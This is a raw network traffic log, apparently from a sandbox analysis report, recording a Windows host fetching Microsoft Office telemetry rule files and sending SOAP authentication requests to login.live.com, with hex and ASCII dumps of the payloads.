2024-11-12 07:30:39 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:40 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:39 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 791f132d-601e-003e-49a7-343248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073039Z-17df447cdb5rnd49hC1DFWgmpw00000005z0000000006dg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 07:30:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	57090	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 07:30:40 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 07:30:40 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 07:29:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C530_BL2 x-ms-request-id: 6949fc25-afad-403e-957c-c919c05236ee PPServer: PPV: 30 H: BL02EPF0001D893 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 07:30:39 GMT Connection: close Content-Length: 11392
2024-11-12 07:30:40 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	57098	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:40 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e37edb83-201e-0003-04a0-34f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073040Z-17df447cdb5vp9l9hC1DFW5hw8000000078g000000008dae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	57099	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:40 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:40 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 61156bc2-801e-008f-01a1-342c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073040Z-15869dbbcc6tjwwhhC1DFWn22800000008rg0000000047hu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:40 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	57100	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:40 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:40 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:40 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 96da997d-001e-0028-355d-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073040Z-16547b76f7fnlcwwhC1DFWz6gw0000000f9g00000000hwd6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:40 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	57101	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:40 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:40 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:40 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073040Z-16547b76f7f7scqbhC1DFW0m5w0000000f4000000000asc3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:40 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	57097	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:41 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 22e6b9e3-c01e-00a1-75a1-347e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073041Z-17df447cdb5wrr5fhC1DFWte8n0000000c60000000000hm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	57103	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:41 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:41 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:41 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ddaecdfb-101e-0079-21d2-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073041Z-16547b76f7f2g4rlhC1DFWnx880000000f6g00000000adrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:41 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	57102	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:41 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 07:30:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:30:41 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 21399fcf-c01e-008e-25a8-347381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T073041Z-17df447cdb5w28bthC1DFWgb640000000ba000000000a2mp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 07:30:41 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	57104	20.190.159.23	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 07:30:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 07:30:42 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 07:29:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C530_BL2 x-ms-request-id: 8e1f0ada-356e-4d25-b9f6-f88cfcedf6a5 PPServer: PPV: 30 H: BL02EPF0001D731 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 07:30:42 GMT Connection: close Content-Length: 11392
2024-11-12 07:30:42 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	57106	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:30:41 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
